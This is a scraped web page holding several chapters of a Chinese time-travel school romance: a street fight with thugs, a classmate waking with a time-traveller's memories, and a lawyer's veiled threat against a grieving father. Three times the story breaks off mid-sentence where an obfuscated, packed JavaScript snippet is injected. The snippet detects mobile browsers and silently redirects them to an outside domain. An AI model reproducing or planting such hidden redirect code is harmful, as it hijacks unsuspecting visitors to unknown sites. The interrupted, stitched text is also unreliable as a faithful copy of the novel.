;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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孟沅咬唇踟蹰了一会儿，小心翼翼地说：“卓…卓焱吧？” “为什么？徐耀和比他强多了吧？”卓惜没忍住声音抬高。 孟沅觉得卓惜似乎真的对卓焱的态度有些异样，但又不知道怎么说。想了想，她只能给出个简单的理由：“他…比较阳光？” 卓焱是人群中一打眼就能看见的那一个，他随性肆意，认识后也会发现他没有那么难相处，反而很好说话，还…关心她。 这样的人天生就是焦点，像阳光一样耀眼，让人不敢多看，却又似乎忍不住被吸引。 不过对她们班而言，似乎喜欢徐耀和的人会更多一些。他像最陡峭的悬崖边生长的花，傲然而萧索，危险难得也会激发出一些人的探索欲，有时候人们会想要去追逐这样特殊的感觉。 而孟沅觉得，徐耀和或许跟她一样，骨子里都有种说不出的闷。 14.场面混乱 连着下了一周多的雨，出行都变得麻烦，这两天才终于小了一些，变成了不打伞也不太影响的毛毛雨。 孟沅也终于恢复，重新回来上课。 自从开始增加了晚自习之后，原本安排在下午的小测就换成了一节正式的课程，小测则改为晚自习上测验，今晚是英语。 这种单科的小测都是当场考完当场出分讲解，题目也没有正式模考那么难。考完批完，这次卓惜成绩又领了先。 英语老师理所当然地喊卓惜来讲解她的做题思路，原本准备站起来的梁美蓁一愣，心里的不爽又占领上风。 卓惜最近风头正盛，照这个架势下去，她看她这英语课代表也要被换人了。 梁美蓁从来不是受气的性格，这么想着，晚上放学的时候紧赶慢赶跟在了两人后面，等出了学校才喊她们：“喂，卓惜！” 卓惜回头，有片刻诧异：“蓁…梁美蓁，有事吗？” 梁美蓁来她面前审视她：“有！你为什么老抢我风头？想当英语课代表啊？” 卓惜孟沅面面相觑，她哭笑不得：“你想多了，我没空当英语课代表。” 梁美蓁狐疑，不依不饶：“那你为什么总在英语课上表现自己？” 她无辜摊了摊手：“有没有一种可能，是因为我成绩好，所以老师一直点我呢？” 梁美蓁被她的话一噎，顿时沉默。再抬头时发现两人都走出一段距离了，想了想不甘心追上去：“我可警告你，我梁美蓁的东西可没人能抢得走，你要是非跟我争，那我也不会让着你的。” 卓惜胡乱点头敷衍：“嗯嗯好好，不抢不抢。” 她对当课代表一点兴趣都没有，还要经常做些杂事，哪有那个空闲？ 梁美蓁没想到她答应的这么果断，一下有些卡壳：“你说真的？” “比珍珠还真。”卓惜忍不住在心里感叹，她蓁妈还真是个傲娇怪，虽然嘴巴上有点不饶人，但其实没有什么恶意。 “诶金子，那是不是梁美蓁？” 方浩抬头，就看见远处三个女生走在一起，其中一个像是在追问什么，就拍了拍叶明鑫。 叶明鑫手里拿着篮球一拍一拍地，闻言抬眼：“呦呵？还真是，她跟着她俩干嘛？该不会找茬呢吧？” 他话音刚落，余光就看见卓焱大步走了出去，连忙叫到：“诶诶诶干嘛啊？不是说跟二中打篮球去吗？走这边啊！” “你们去吧，我不去了。”卓焱头也不回。 叶明鑫嘀嘀咕咕：“这人怎么突然变卦。” 方浩看着他去的方向，哪能不知道：“你难道一直没发现焱哥对那个叫孟沅的，有点不一样？” 叶明鑫哈了一声：“有吗？” 他说完自己想了下，好像还真酝酿出什么，旋即不可思议地抬眼看向卓焱背影：“我靠？什么时候的事儿啊？” 方浩嫌弃他神经大条，从他手里薅过篮球：“也就你没看出来了。” 叶明鑫一边叨叨不可能，一边往那边看，已经看不到那三个女生的身影了，卓焱也已经离得有些远了。他犹豫了一下说：“算了，你等会儿去跟陈鹏他们说一声，我俩都不去了。” 方浩莫名：“你又干嘛去？” “你又不是不知道梁美蓁那人的性格，万一掐起来也好拉架啊！”叶明鑫边走边交代，“记得跟他们知会一声哈！” 方浩无语，这五个少俩还打什么？ 他无奈摇头，朝他们反方向离开。 - ∞ - “你一直跟着我们干嘛？” 卓惜有些无奈：“我真的不会抢你英语课代表的位置，你放心好了。” 梁美蓁动了动嘴，脸上还傲娇着，语气却别扭：“我就是想问问你，你那个解题思路哪里学的，还有你那口语怎么练的？” 尽管不想承认，卓惜的方法一公开，就连她都受益不少。而且她耳朵尖，早就发现其他人英语都带了本地口音，但卓惜的就很标准，甚至比老师发音还标准一点？ 卓惜深看她一眼，在梁美蓁感觉到不自在的时候，才转移目光：“就这样练喽，多刷题，多听磁带跟读。” 梁美蓁干巴巴“哦”了一声。 卓惜不再管她的想法，而是跟孟沅说起了她今天的错题点。 梁美蓁也不知道自己为什么要跟在她们身后，等反应过来的时候都走到她们家门口了。 她们住的小区和学校隔了三条街，这边居民区向来安静人少，这个点门口的老头老太太们也都回家去了。 快到小区外面那条街的时候，卓惜忍不住回头：“你怎么还跟着我们呢？” 梁美蓁正想说什么，拐角处忽然出现了一伙身影，她下意识齐退了一步。 卓惜孟沅也感觉到什么，回头看去。 孟沅脸色瞬间煞白，她认出了为首黄毛青年旁边一脸阴郁的女生，就是那天突然把她堵在巷子里发难的那个。 来者不善，卓惜反应很快伸手将她拦在身后：“你们想做什么？” “你说呢？”李丽笑着往前走了两步，“那天不是叫嚣说等着我呢吗？” 她朝那瘦杆黄毛撒娇：“天阳哥，你看啊，就是这个死丫头，前些天大言不惭说要找我麻烦！我受了这么大的委屈，你可得替我好好教训一下这丫头！” 孟沅被她颠倒黑白的本事给震惊住，没看见附近有人，她悄悄背过手想从包里拿手机报警。 眼前五个个黄毛很明显就是社会闲散人员，虽然一个个瘦得跟麻杆似的，但三个手里还拿着棍子，她们几个肯定对付不了。 就当孟沅摸索出手机准备报警的时候，其中一个小弟眼尖叫到：“阳哥！这小妞有手机！” 被叫阳哥的黄毛眼神一眯，立刻往前来准备抢手机，梁美蓁被吓了一跳：“喂喂喂！你们几个想干嘛？我跟你们讲我家可不是好惹的，你你们小心吃不了兜着走！” 卓惜啧了声，将她也挡住：“都什么时候了还要逞嘴上功夫。” 梁美蓁被她动作弄得一愣。 阳哥不怒反笑：“好啊，让我看看你家有多不好惹？” 他抬手点了点，两个小弟默契十足对视一眼就朝她们过来。卓惜眯了眯眼，也不惧，主动迎了上去。 她这些年虽然没空专业训练，但自己私下也不是安分的性格，拳脚功夫对付这种混混还是够用的。她估算了一下，主动发难。 差点被她打到一拳的黄毛紧急后退：“卧槽！” 阳哥没想到她还敢主动出击：“你们对付这丫头，李丽，你管那边那个口气大的。” 说着，他朝还在打电话的孟沅袭去。 孟沅电话刚拨通，余光瞥到黄毛马上就要过来了，赶紧稳住情绪撒腿想跑，拿出了生平最快的语速：“是110吗，我要报警，平南路31号这边有小混混惹事，对，我……” 话还没说话，头发被人一把抓住，孟沅头皮炸了似的疼。刚叫了一声，斜横来一只手，把抓她头发的那只手擒住，反手给了那人一拳。 “靠！”田天阳不得不松了手，眼神立刻发狠，拳头还了回去。 卓焱眼神冰冷，一手就握住他打来的拳头。又连着给了他几拳，直接将人踹倒在地：“谁让你碰她的？” 田天阳痛得蜷缩，想起来却被踩在脚下，咬牙抬高声音：“你们都眼瞎吗！还不过来！给我弄死他！” 那边两个黄毛反应过来，抄着棍子就过来了，与卓焱缠斗在一起。 孟沅很害怕，在民警再次确认她的位置时声音有些发颤：“对，是这里，他们他们打起来了。” 叶明鑫本来还在跟 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而原本和卓惜缠斗的小混混也因为她这一棍子晕了过去。 卓惜没多犹豫：“你去帮梁美蓁把李丽拉开，自己注意安全，我去解决那边那三个。” 那边打的水深火热，一个赛一个狠，已经见了红。卓惜过来的时候，饶是卓焱都忍不住加重语气：“你来干什么？” “废话！看着你们挨打吗？”她没好气地白了他一眼，躲来小混混挥来的棍子，又去抢。 卓焱想让她一边去，卓惜却是拉着人的棍子逼迫对方靠近，她毫不留情往下面踢。 叶明鑫余光瞥见，嘶了声：“我靠，你狠啊！” 卓惜成功抢过棍子甩远，又补了一脚：“照狠了踢他们才没力气反击。” 斡旋半天，他们到底还是占了上风，把人都撂倒。 那边梁美蓁也在孟沅帮助下从李丽手里解脱，梁美蓁怒极，下了狠劲将人推开。看着他们这边解决了，赶紧拉着孟沅过来。 最近的派出所也离这边有一段距离，过来还得一会儿。梁美蓁还没缓过来，就看见叶明鑫忽然朝她们跑了过来：“小心！” 下一秒，她被人反扣进怀里，一道闷声传来，抱着她的人一沉。 警鸣声呜呜响起，得手那人立刻白了脸色，什么也顾不上赶紧跑走。其余几人眼看他跑远，田天阳眼中迸发火气，却痛得压根起不来。 几人立刻变了脸色： “叶明鑫！” — ○> — 卓焱和卓惜去做的笔录，孟沅陪着梁美蓁在医院等。 从警局出来，卓焱喊她等等，在她不解目光中去了不远处的药房。出来把药给她：“处理下吧，别让她担心。” 即使打架他也没错过这边的情况，看到卓惜生生挨了一棍子。 卓惜本来还想说什么，又憋回去了，到路边长椅坐下，挽起袖子时忍不住嘶声。整个小臂都斜过一块青紫，先前没在意，这会儿就感觉到了痛。 她龇牙咧嘴小心处理，却不太方便。卓焱看了会儿，像是看不过去，直接从她手里拿过了药膏：“亏得你一副打架熟手的架势，怎么连伤都不会处理？” 卓惜无语：“你倒是熟哈。” 卓焱嗤了声，棉签刚碰上她伤她就龇牙咧嘴，他一边道了句“活该”，手里动作却放轻了些。 她看他这样，原本想刺的话不自觉收了回去。 处理完包扎好，他把药装起来塞给她：“走了，他们还在医院呢。” 卓惜心情复杂，站起来叫他一声：“喂！” 卓焱扭头，表情像是在问她还有什么事。 在他的目光中，她忽觉别扭，踟蹰片刻才说： “谢谢。” 15.你还活着 叶家父母赶来的时候已经是深夜，叶明鑫已经检查完在病房里昏睡，情况还好，只是轻微脑震荡，没有伤到脑神经。 本来卓焱想让她们先回去休息，他在这守着就行，但三人都没肯。 此刻见到叶父叶母神色焦急匆匆闯进来，全部都站起来，像犯了错的小孩一样不太敢面对。 夫妻俩看见头一天还生龙活虎的儿子这会儿头上包着圈纱布昏睡，即使先前就从电话里知道了情况，但真看到了，叶母明芳一时仍有些受不住：“明鑫他…” 卓焱主动站了出来：“阿姨对不起，是我没有来得及帮忙，有小混混找我们茬，明鑫他是被偷袭的。请您相信，我们这次没有主动惹事。” 孟沅也站了出来，有些怯懦：“对不起阿姨，其实叶明鑫是为了帮我们挡住偷袭才这样的……” 卓惜是见过叶家爷爷奶奶的，他们都是很善良和蔼的人，她不太担心他们会不明是非，但这件事确实是她们先前埋下的雷：“这件事都是我的错，之前一直忘记了还有这个麻烦，拖着没有处理才造成了今天的局面。不过请叔叔阿姨放心，我会负责叶明鑫修养期间的所有费用。” 这句话像是某种开关，一直仿佛沉浸在自己世界的梁美蓁也恍然回神，噌地一下从旁边座位站起来：“你们都别争着认错了，他最后是保护了我才被偷袭的。是我的责任……” 明芳原本确实很生气也很后怕，可看着几个小孩的神情，也说不出什么重话来：“你们几个小孩子能承担什么责任？今天的事我听警官那边讲清楚了，这些小混混一直在你们学校那一带惹麻烦，都是无妄之灾。” 说话间沈光华和卓越也赶了过来，默默走进，卓焱瘪瘪嘴：“妈，你们来了。” 沈光华和卓越是先去了一趟警局才过来的，看见叶家父母，两家不太熟，却互相知道孩子相处得不错。 视线接触点了点头，沈光华主动道：“刚刚去警局了解了一下情况，那几个小混混该送去少管所好好教育两年了。你们家明鑫的事情我们也听说了，这件事我们也有责任，以后肯定会督促小孩别打架的，医药费和营养费我们沈家出，肯定还你一个健健康康的儿子。” 明芳想笑也笑不出来，毕竟这里躺着的只有她儿子，但还能说什么呢，只能苦笑着摇摇头：“不怨他们，怨就怨明鑫他自己调皮倒霉，时候不早了，几个孩子明天还得上学呢。你们都先回去吧，我和他爸守着就行。” 沈光华点点头，招呼他们：“你们别在这打扰明鑫休息了，赶紧出来，我送你们回家。” 几人都不想走，沈光华一个眼神警告后立刻不情不愿陆续道别离开。上车也很沉默，先送了梁美蓁回家，才出发回了沈家。 卓惜很快注意到这不是回孟沅家的路：“阿姨，怎么往这边走？” 沈光华头也不回：“那几个小混混不是还有跑走的，你们两个小姑娘住的地方都被他们踩点几回了都没注意，暂时别住了，来我们家住。” 说着，她忍不住回头：“你说你们几个，年纪不大，惹事的本事还不小啊！监控里看还挺能打啊？” 卓惜一点羞耻心都没有，反而还有点骄傲：“阿姨话不能这么说，我们也没主动惹事嘛，都是别人找我们麻烦。” 沈光华跟她也熟了，知道这姑娘鬼主意多还有点不着调，她在公司里是人人都怕的存在，这姑娘却能跟她谈笑风生一点不惧：“你倒是有理，说说吧，怎么被混混盯上的？在学校里惹麻烦了？” 卓惜知道这是个处理混混的好机会，自然不藏着掖着，还添油加醋地描绘了一下那天孟沅被堵的场景。孟沅在一旁听的头皮发麻，不断拉她衣角企图让她住嘴。 沈光华和卓焱都没想到还有这一茬，听完她说：“没事，今晚回去洗个澡安心睡一觉，这几天都先住我们这里，等处理完那几个小混混再回家住。” 她早调查过卓惜，也顺带调查过孟沅，知道这俩小孩现在互相相依为命，就两个人住，总是不安全的。 卓惜嘴甜道：“那就谢谢沈阿姨喽！” 沈光华好笑摇摇头。 卓家是三层独栋别墅，父母住三楼整楼大平层，二楼左边有一个大间，右边正好两间稍小的客房。一楼也有客房，以及保姆的房间。 时间不早，沈光华给她们俩安排好房间就去忙了。 孟沅有些无措地跟在卓惜身边，等沈光华雷厉风行安排好才敢说话：“那个…我们真的要在这里住吗？会不会太打扰了呀？” 卓惜无奈：“有什么打扰的，沈阿姨说的对啊，咱们俩不知道什么时候都被盯上了。不是还跑了一个，万一回来找我们麻烦呢。你就安心住！” “可是……” 孟沅还想说什么，被卓惜一把安抚：“没什么可是，你要是实在不好意思，那咱们就只占一间，反正房间够大。” 这段时间因为冷加上只有孟沅房间有空调，两人本就是一起睡的，也没什么不习惯了。 卓焱找到遥控器过来，看到孟沅表情就知道她又不好意思了，把空调调开才说：“我妈都发话了，这几天就在这住吧，等她找那几个小混混算完账再说。时间不早，你们也早点洗洗睡。” 两人话都说到这份上，也确实不早，孟沅再推诿就显得有些事多不识好歹了，张了张嘴还是没说话。 卓焱走出去两步又拐回来：“晚安？” 或许是这段时间睡前总收到他这样一条短信，孟沅习惯性应到：“晚安。” 卓惜快速扫过两人，内心轻啧一声。 - ∞ - 第二天学校就已经知道了这件事，还在课间操会上严肃说会加强校附近巡逻。如果有学生受到霸凌也要及时向学校反应，学校会帮忙追究，无论校内校外人士都决不姑息。 在班上，刘有才也再三啰嗦强调了这段时间晚上放学尽量让家长来接。如果实在接不了的，就三五个学生一起搭伙回家，尤其是女生最好不要落单行动。 因为这一出，校内的风气肉眼可见地紧张了不少，王途胜说加强巡逻就立马加强。不仅自己亲自巡逻，还安排了学生会红袖章，每节课课间都在各年级巡逻，见到拉拉扯扯的就上去警告一番。 虽说有些严苛，但手段确实有用，那些向来在学校不安分的刺头都瞬间老实了不少。 放学后，卓惜和孟沅商量着要一起去看叶明鑫，方浩和陈北森也知道了这事儿，连忙收拾了书包和卓焱一起。 五人还没出门，梁美蓁就别扭地上前拦住他们：“你们是不是要去医院？带我一个。” 卓惜觉得她态度有些怪，狐疑看她一眼，但没说什么：“走吧。” 梁美蓁本来还想好了他们不带她的理由，结果没用上，想了想还是没此地无银三百两。 卓家给他们专门安排了一辆车负责最近的出行，倒是不用自己走去，几人到医院的时候叶明鑫还没有醒，而叶家父母已经很明显交替熬了一夜了。 此刻是叶母在守，见他们来了，有气无力点 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15007666|161469||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 点头。 卓焱皱眉：“阿姨，您先回家休息一会儿晚点再来吧，这里我们先守着，明鑫醒了的话我们第一时间通知你。” 明芳其实已经有些撑不住了，但也放心不下，两人拉扯了几句，她还是妥协：“那我就在旁边病床上躺一会儿。” 只眯一下也是好的，几人赶忙让她放心休息，他们来守就好。 几人将叶明鑫的病床围得密不透风，就这样沉默看着他毫无动静，最情绪化的就是梁美蓁，看着看着就忍不住红了眼眶：“傻子啊，你说你为什么要帮我挡那一下？” 她到现在都依然深刻地记得那个拥抱，以及他失去知觉压倒在她怀里，她差点撑不住。那一刻她真的懵了，她其实平常对叶明鑫的态度真的很差，所以完全没有想到他会那样护着她。 心脏像是被人掐住，她隐隐后悔，恨不得床上躺着的人是她才好。 她捱着想哭的冲动，泪在眼里打转，余光却敏锐捕捉到他手指似乎蜷缩了一下：“你们看！他是不是要醒了？” 话音刚落，他手再次动了一下。 这下几人都确切看清。 接着是眼皮颤了颤，能看清眼珠在里面细微活动的起伏，他睁开眼，他们立刻围了上去，七嘴八舌： “你醒了？有没有怎么样？头晕吗？” “难不难受饿不饿？” “哇呜呜呜叶明鑫你终于醒了！你吓死我了！” 叶明鑫不明所以地想要起身，却头痛地一嘶，陈北森反应过来立马去床尾把床摇起来。 叶明鑫缓了缓，不明白头为什么会这么痛，看着面前一张张陌生面孔和杂乱的问候，不明所以：“你们…是谁？” 几人有些傻眼。 “你不认识我们了？？？” 卓焱脸色有些差：“我去叫医生。” 但本来就还没睡着的明芳已经先一步听到动静慌张去喊了。 其余人又挤到他面前试图让他辨认。 卓惜看他们这样无奈摇头：“我说你们还是离远点吧，别让他头痛了。” 叶明鑫头确实很痛，他忍不住晃了晃脑袋，去寻找那个略显耳熟的声音。 终于在他们都退后之后，他看见了那个在床尾的熟悉身影，忍不住瞪大眼睛：“卓惜？你是卓惜？” “你还活着？！” — ○>> — 秋季的尾巴已经很有些冷了，不知是不是身处陵园，让这天气又徒添了几分落寞萧条。 里面没什么人，唯有一家拎着祭品穿过，来到一处三连并排的墓碑，沉默地点燃一张对折的纸钱引火。 风有些大，好不容易烧完起身，一阵风席卷，带着余烬扬至半空，就像轻飘飘地带走生命般寂静无声。 终于，安静的空气被一声憋不住地啜泣给打破，一头微卷长发的女孩反应过来捂住嘴巴，眼泪仍旧不争气地夺眶而出。 她深呼吸几个来回，告诫自己不能哭，惜惜不会想看她哭的。 梁美蓁将她搂进怀里，朝还在望着墓碑发呆的人说：“老公，我先送淼淼上学。垚垚，你陪你爸待会儿。” 叶垚看了眼魂不守舍的叶明鑫，点点头：“放心吧妈，你们先走，我陪我爸。” 梁美蓁带着叶淼离开，叶垚缓缓蹲下，陪叶明鑫靠在一起，望着眼前三个墓碑。 时间还真是快。 自卓惜车祸卓叔自杀，一晃已经过去两年。 今天，是卓家三口共同的祭日。 16.不敢去想 “初步观察没有问题，脑部CT也没有淤堵，血管无异常。患者这种情况可能是脑震荡造成的短暂性记忆错乱，建议多留院观察两天。” 叶明鑫一言不发转动着眼睛，缓解被强光直射瞳孔的不适，他莫名其妙被拉着做了一通检查，到现在都云里雾里。 检查完医生就先行离开，明芳这才敢小心翼翼凑到儿子面前：“儿子，你还记得我是谁吗？” 都叫儿子了还能是谁？ 叶明鑫有些头痛又无语，抬眼看去，却愣了一下：“奶奶？” 明芳被噎住。 可下一秒他又捂着额头冷气直抽，改了口：“不是，妈。” 明芳声音都哽咽了：“诶…你好好休息，饿了吧？妈去给你买吃的。” 她起身，又问几个小孩要不要吃什么，他们拒绝了，只让她买叶明鑫吃的就好。 方浩是个略急的性子，看他这样忍不住上前，手搭上他肩：“不是，金子，你真失忆了啊？” 叶明鑫茫然看他一眼：“你是？” 方浩哇了一声：“我方浩啊？！” 这话刚落，他又是一副头痛的模样，见状梁美蓁连忙绕过来，把方浩拉开：“行了行了，他都脑震荡了，这会儿别逼他想这些，没看他头痛吗？” 方浩被拉远，看梁美蓁这护短的模样觉得莫名其妙。 这俩人不是向来不对付么？ 梁美蓁也不管他，看叶明鑫还捂着头，咬咬唇：“你头很痛吗？要不要帮你叫医生？” 这声音对他来说再熟悉不过，他也不顾头疼再度抬起头，难以置信地看着眼前这张熟悉却过分年轻的脸：“妈？” 梁美蓁一愣：“你叫我什么？” 其他人也跟着愣住：“啊？你叫她什么？” 唯有卓惜站在最后面双手环胸沉默不语，从半小时前叶明鑫胡言乱语朝她问出那句话的时候她就隐隐觉得有什么不对，可还来不及问他就被重新推去检查。 而现在，对着明芳叫奶奶，对着梁美蓁叫妈…… 卓惜有了动作，把他们一个个往外推：“好了好了时间不早了你们也都回去吧，明天还得上学呢。” 几人被她推得一脸懵：“那你呢？” “我在这等明阿姨回来啊！”卓惜理所当然，“顺便有点问题想问他。” 她不由分说将人推出去。 时间确实不早，陈北森还得回去帮爸妈收摊，方浩也没跟家里打招呼，再不回去他爸又得骂他，两人只好先离开。 但梁美蓁不放心叶明鑫，他太奇怪了，整个人都不对劲，还记忆错乱。孟沅放心不下卓惜，不知道她想做什么，两人都不肯走。 卓焱见状摇摇头，他有点饿了，准备出去买点吃的，顺便给他们都带点。 病房内现在只剩他们俩。 卓惜看他不断揉太阳穴的动作，走到旁边，试探问他：“你…是叶垚吗？” 叶垚头真的要炸了，两种完全不同的记忆席卷而来，他更偏向后面的才是自己真实的记忆，可又觉得错乱分不清。 直到听到这句话，才猛地抬头，看着眼前这张脸，下午的时候才在墓碑上见过，怎么样也不可能认错。 “你是卓惜？你真是卓惜？” “对，是我。”卓惜深吸一口气，见他一脸分不清情况的模样，把口袋里随身携带的小圆镜给他，“你为什么也来了这里？” 叶垚不可置信地看着镜子里那张熟悉的脸，看了看手，又看向卓惜：“我？你？这里是哪里？” 卓惜顾不得太多，她本就颇多疑虑，现在忽然又出现了这一茬，心头疑团更是难解：“这里是1998年，别的我晚点再跟你解释。你先告诉我你为什么会穿来这里？你还记得你之前做了什么吗？！” 叶垚顺着她的话去回忆，可说出来的话却磕磕巴巴：“我记得…我陪我爸给你们一家上坟，晚上我爸突然说要去找他以前埋的信。下雨了，信湿了，我帮他处理打湿的信，好像不小心撕破了，然后就忽然晕了。” 她敏锐捕捉到了什么：“等等，什么叫给我们一家上坟？” 叶垚顶着头痛回忆着当时的场景，一帧帧画面频闪而过，痛得他手抖牙颤，只能咬牙磕巴说：“你…死的那天，卓卓叔崩溃自杀了，今天…是…你们一家三口的，祭日。” 卓惜一个恍惚，下意识后退一步，被凳子绊倒猛地跌坐下去。她却顾不得痛，脑子里反反复复重映着他这句话。 她之前甚至以为那一瞬间被断裂的塑料凳子片扎进胸口是自己的错觉，这段时间将那件事都快遗忘掉了，现在却猛地想起来濒死前的窒息感受。 而更窒息的却是叶垚这句话。 在孟沅死后的第二个祭日当天，她被人撞死，卓焱接受不了这个事实崩溃自杀。 他们一家三口，竟都是短命鬼。 - ∞ - “卓惜，卓惜？” “卓惜？”孟沅半侧身偷偷看她，压低声音想提醒一下，她毫无反应自顾自出神。又想拉她一下，奈何太明显了，只能看了一眼卓焱。 卓焱看懂她的意思，微微蹙眉点了点卓惜：“卓惜，老师点你呢。” 卓惜猛然回神站起来，四处张望：“啊？哦哦哦，那个什么……” 卓焱把书推来：“第二小题，这句诗的中心思想。” 她飞快扫了一眼，才在刘有才不满的神情中答题：“这首诗的中心思想是…” 回答完问题，刘有才勉强满意，让她坐下的同时不忘点了点：“最近我发现班上不少同学都有些不在状态啊？是怎么回事？都高三了，一点都不紧张吗？没有一点高考在即的紧迫感？还是我管你们管得太松了，让你们觉得我的课很好混？” 下面噤若寒蝉。 刘有才也不指望他们能吭声了，叹了口气，又念起了那段八百年都念不厌的经：“你们要知道你们都已经是高三了，不是高二，该给自己上上弦了。学习不是为老师学的，是为你们自己学的，想想你们父母辛辛苦苦挣钱供你们读书是为了什么？” 絮絮叨叨唠叨了五分钟，他才重新进入正题。 直到下课铃响，原本死气沉沉的教室立刻有了活跃的氛围，刘有才前脚走出去，后脚班里就开始欢呼。 孟沅转过身，看卓惜还是那一副魂不守舍的样子，不免担忧：“卓惜，你能不能说说你到底怎么了？你和叶明鑫昨天晚上说什么了吗？今天你整个人都不对劲。” 卓焱昨晚就看出她的不对劲，本想跟孟沅一起说两句，却见她目光温吞转了过来，定在他脸上。 他脸上有什么东西吗？也没什么啊。 卓焱忍不住摸了把脸。 卓惜心情复杂看着卓焱脸上还没有好全的伤，忽然想起那天晚上两人配合意外默契，他开始还呵斥她问她加入进来做什么，后来却帮她挡了几次别人的棍子和拳头。 她赫然发现卓焱似乎远没有她想的那么糟糕。 卓惜以前以为他是个没有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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卓焱拳头硬了，攥紧锤在桌上，整个桌子都跟着一震。他咬牙切齿：“在…你们眼里，人命，八十万？” 律师重新调整了下坐姿：“话不能这样说，人命当然无法用金钱来衡量。但卓先生可曾听过一句话叫逝者不可追，来者犹可待？” “据我们所知，卓先生还有一个在临阳附中读高一的女儿对吧？” 卓焱意识到话里的威胁之意：“你们，想做什么？” “卓先生别紧张，我们不想做什么，就是和您聊一聊调解事宜。”指尖顺着话点了点桌上的纸质文件，“您就算不为自己着想，也该为您女儿着想看看，毕竟她才刚过十五岁生日，以后上学也多的是需要用钱的地方。” 看他没有反应，那人一副气定神闲的模样起身：“卓先生可以仔细考虑一下，两天内答复就好。” “我，要是不答应呢？” 一只手轻轻搭上他的肩，又暗暗用了力道拍了拍：“那卓先生就需要担忧一下贵千金的前途问题了。是双赢还是…全看卓先生自己选择。” 说完，那人轻声放下一支笔离开包厢，还贴心把门带好。 留卓焱攥得拳头泛白，死死盯着那两份白底黑字的刺眼文件，似乎要将它们看穿使其自燃。 这并不是第一次，他极度痛恨自己的无用。 17.穿越媒介 叶垚当下也搞不清楚状况，只能暂时借用叶明鑫的身份生活，又住院观察了两天之后，没有太大的影响就出了院。 趁着周六周末，卓惜借口给他送学习资料和他见面，叶母端来一盘切好的水果放下就走了，没有打扰他们俩。 卓惜见状问他：“你怎么样？头还疼吗？” 叶垚摇摇头：“好多了，就是有点不适应。” 毕竟对着爷爷奶奶叫爸妈，多少有点别扭。而且在这个时候生活，也有些不适应，但他也只能让自己学着适应。 卓惜左看右看，从他桌上拿了张草稿纸，抽了支笔：“时间有限，咱们先来捋捋情况。为什么我们都能来这里，又为什么我是身穿而你是魂穿？穿越绝对不是偶然的事情，既然老天给了这个机会，说不定它是想我们能做什么。” 他们一直没有机会深聊，好不容易逮着机会，卓惜想尽快梳理出穿越的根本原因。她率先捋起了这边的情况： “我是2020年12月5号穿越的，到这边的时间是1998年10月20号那天。从穿越到入学之后我没有发现过什么异常现象，所以我不知道你的穿越究竟是巧合，还是我无意中改变了什么。” 蝴蝶效应是悄无声息的，可能只是她一个无心的行为，就造成了未来巨大的不同。 之前是她太幼稚，满心以为拆散卓焱和孟沅就一定能让未来变得好，可叶垚的到来给了她提醒。意外之所以被称之为意外，就是因为它的不可预估性。 如果未来真的改变对现在的她而言，甚至说不清利弊谁更大。因为无法预测，卓惜忽然不敢笃定她想要干涉这件事所演变的未来一定是一个好结果。 万一更糟糕呢？ 她先把时间线画出来，到目前为止她已经满打满算来了一整个月了。中间硬要算起来，转学算一次，考试算一次，还有前几天打架算一次，应该属于可能改变未来发展的节点。 然后再问叶垚的时间线。 叶垚回忆：“我穿来那天是2022年11月14号，十月廿一，那天白天我们一家去陵园祭拜。淼淼因为还有课所以我妈就带她先走了，我陪着我爸在卓叔碑前聊天，我爸喝了不少，忽然闹着要去找什么以前埋的时光锦囊。” 卓惜顿了顿笔，另起一行写下他的时间线。 “那天……” - ∞ - “爸，你说的那个什么锦囊很重要吗？我看晚点估计要下雨，实在不行明天再去挖吧？” 叶垚想拦住叶明鑫耍酒疯，奈何醉酒的叶明鑫力气惊人，他根本没法拦，只好哄着他答应他陪他去挖。回家拿了铲子和老房子钥匙，匆匆往临禾赶。 从临阳到临禾开车要一个多小时，转眼天色就有了风雨欲来的阴郁感，不知道为什么，叶垚总觉得有些不安。 叶明鑫在路上睡了一觉，到了临禾老家酒劲也褪去不少，人清醒多了。原本叶垚想要替他挖，他说不用，自己拿着铲子就过去了。 叶垚有记忆起一家人就在临阳，只有小时候逢年过节才会抽两天回临禾看下爷奶，后来他们大一点了，叶明鑫和梁美蓁都想搞事业，爷奶就也一起搬来临阳照顾他们。 老房子多年没住人打理，院子里都是杂草，土块也硬，铲得费劲。不过却一点没有打消叶明鑫积极性，他一刻也没停，终于在挖了十来分钟后坑里看见了铁皮盒面。 叶垚意外，没想到还真有：“爸，这盒子里面装的什么啊？很重要吗？” 他一鼓作气把整个盒子挖出来，也不在乎形象，就这么在坑边坐下，怀念地抹去盒子上的泥土：“重要，这里面装的都是你爸我的青春回忆。” “阿垚啊，你也知道你爸这人，从小就话痨闲不住。写日记这种事儿多少显得不太爷们儿，还挺没安全感的就怕被人看了。后来就想着，那就写时光锦囊吧？往哪儿一埋除了我谁也不知道，这样谁也偷看不了！” 他打开盒子，里面有一些收集的年份邮票，有废掉的掌机，以及四封用牛皮纸袋装好的信。信外面写了年份，最早是叶明鑫17岁，最晚的那封是两年前卓家人去世后。 叶垚不解：“为什么只有四封？” 